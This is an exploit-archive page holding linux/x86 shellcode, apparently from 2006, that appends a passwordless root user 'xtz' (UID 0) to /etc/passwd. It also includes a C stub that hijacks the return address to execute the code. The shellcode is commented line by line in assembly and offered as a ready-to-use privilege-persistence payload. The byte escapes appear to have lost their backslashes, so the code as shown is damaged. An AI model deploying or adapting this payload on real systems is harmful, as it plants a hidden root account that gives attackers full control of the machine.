[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 Adduser without Password to /etc/passwd 59 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : win32 WinExec() Command Parameter 104+ bytes
# Next Title : linux/x86 anti-debug trick (INT 3h trap) + execve /bin/sh 39 bytes


/*
 * (linux/x86) adds user 'xtz' without password to /etc/passwd - 59 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax05"              // push $0x5 

	//
	// <_exit>:
	//

	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x31xc9"              // xor %ecx,%ecx 
	"x66xb9x01x04"      // mov $0x401,%cx 
	"x52"                  // push %edx 
	"x68x73x73x77x64"  // push $0x64777373 
	"x68x63x2fx70x61"  // push $0x61702f63 
	"x68x2fx2fx65x74"  // push $0x74652f2f 
	"x89xe3"              // mov %esp,%ebx 
	"xcdx80"              // int $0x80 
	"x68x3ax3ax3ax0a"  // push $0xa3a3a3a 
	"x68x3ax30x3ax30"  // push $0x303a303a 
	"x68x78x74x7ax3a"  // push $0x3a7a7478 
	"x89xc3"              // mov %eax,%ebx 
	"xb0x04"              // mov $0x4,%al 
	"x89xe1"              // mov %esp,%ecx 
	"xb2x0c"              // mov $0xc,%dl 
	"xcdx80"              // int $0x80 
	"x6ax01"              // push $0x1 
	"xebxc7";             // jmp <_exit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]